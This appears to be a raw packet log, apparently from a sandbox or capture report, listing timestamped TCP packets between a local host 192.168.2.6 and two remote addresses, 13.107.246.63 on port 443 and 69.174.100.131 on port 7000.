Dec 5, 2024 14:01:35.267946959 CET	443	49757	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.268004894 CET	49757	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.268165112 CET	443	49758	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.268232107 CET	443	49758	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.268270969 CET	49757	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.268286943 CET	443	49757	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.268285990 CET	49758	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.268317938 CET	49757	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.268325090 CET	443	49757	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.268420935 CET	49758	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.268434048 CET	443	49758	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.268443108 CET	49758	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.268448114 CET	443	49758	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.271725893 CET	49762	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.271760941 CET	443	49762	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.271761894 CET	49763	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.271795988 CET	443	49763	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.271828890 CET	49762	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.271863937 CET	49763	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.272027969 CET	49763	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.272030115 CET	49762	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.272042036 CET	443	49762	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.272044897 CET	443	49763	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.289746046 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.289761066 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.289840937 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.291593075 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.291960001 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.292016983 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.292280912 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.296029091 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.296087027 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.296093941 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.299693108 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.299750090 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.299787998 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.303567886 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.303617954 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.303646088 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.329879999 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.329957008 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.329989910 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.331883907 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.331952095 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.331969023 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.335813046 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.335867882 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.335891008 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.339627028 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.339670897 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.339689016 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.343509912 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.343559027 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.343626022 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.347387075 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.347439051 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.347475052 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.351383924 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.351397038 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.351427078 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.381130934 CET	443	49759	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.381190062 CET	443	49759	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.381335020 CET	49759	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.381516933 CET	49759	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.381527901 CET	443	49759	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.381542921 CET	49759	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.381546974 CET	443	49759	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.384845972 CET	49764	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.384881020 CET	443	49764	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.384973049 CET	49764	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.385121107 CET	49764	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.385132074 CET	443	49764	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.399127960 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.405109882 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.405158043 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.405230045 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.406232119 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.406415939 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.406470060 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.410151958 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.410243988 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.410291910 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.414340973 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.414388895 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.414436102 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.418067932 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.418196917 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.418267012 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.421797991 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.421901941 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.421947956 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.425708055 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.425813913 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.425869942 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.429522991 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.429636002 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.429685116 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.433500051 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.433618069 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.433662891 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.437202930 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.437275887 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.437336922 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.440875053 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.441023111 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.441081047 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.444610119 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.444711924 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.444761992 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.448394060 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.448510885 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.448760986 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.452097893 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.452224970 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.452280998 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.455831051 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.455924034 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.455974102 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.458298922 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.458498001 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.458547115 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.460139036 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.460398912 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.460449934 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.462129116 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.462220907 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.462269068 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.464309931 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.464378119 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.464425087 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.467351913 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.467403889 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.467463970 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.471154928 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.471250057 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.471414089 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.525130033 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.525145054 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.525207996 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.526223898 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.526360989 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.526503086 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.530143023 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.530348063 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.530514956 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.534111023 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.534249067 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.534296989 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.538069010 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.541865110 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.541918039 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.542068005 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.546169996 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.546220064 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.546252012 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.550858974 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.550904036 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.550940037 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.554976940 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.555026054 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.555080891 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.558374882 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.558423042 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.558506012 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.562362909 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.562412977 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.562551022 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.565972090 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.566015005 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.566020012 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.569305897 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.569351912 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.569411039 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.572830915 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.572873116 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.572963953 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.576001883 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.576045036 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.576205969 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.578752995 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.578794003 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.578880072 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.580332041 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.580378056 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.580467939 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.582060099 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.582102060 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.582195997 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.584489107 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.584532976 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.584598064 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.587344885 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.587399960 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.587426901 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.591119051 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.591173887 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.591216087 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.596903086 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.596970081 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.597002029 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.645010948 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.645025015 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.645174980 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.646325111 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.646373034 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.646409988 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.650423050 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.650464058 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.650471926 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.654068947 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.654123068 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.654156923 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.662031889 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.662084103 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.662190914 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.665927887 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.665992022 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.666023016 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.670645952 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.670713902 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.670797110 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.674916983 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.674969912 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.675049067 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.678294897 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.678340912 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.678405046 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.682202101 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.682254076 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.682262897 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.685941935 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.685992002 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.686031103 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.689568043 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.689610958 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.689694881 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.693015099 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.693059921 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.693121910 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.695940971 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.696012020 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.696037054 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.698626995 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.698672056 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.698802948 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.700115919 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.700153112 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.700156927 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.701802015 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.701839924 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.701911926 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.704269886 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.704313040 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.704401016 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.707155943 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.707200050 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.707269907 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.710987091 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.711030006 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.711118937 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.716711044 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.716772079 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.716954947 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.758512974 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.765443087 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.765727043 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.765780926 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.770888090 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.770946026 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.770997047 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.774153948 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.774247885 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.774297953 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.781893969 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.782068014 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.782119036 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.785787106 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.785803080 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.785859108 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.790633917 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.790739059 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.790796041 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.794768095 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.794867992 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.794919968 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.798084021 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.798191071 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.798239946 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.802068949 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.802158117 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.802206039 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.805728912 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.805846930 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.805892944 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.809389114 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.809614897 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.809660912 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.812757969 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.812864065 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.812908888 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.815881014 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.815938950 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.815979958 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.818470955 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.818588018 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.818633080 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.819855928 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.819969893 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.820023060 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.821563959 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.821679115 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.821722984 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.824033976 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.824182987 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.824229002 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.826958895 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.826998949 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.827042103 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.830816031 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.830873013 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.830938101 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.836719990 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.836757898 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.836805105 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.879049063 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.879117966 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.879225016 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.886349916 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.886609077 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.886663914 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.891087055 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.891278982 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.891328096 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.894216061 CET	7000	49734	69.174.100.131	192.168.2.6
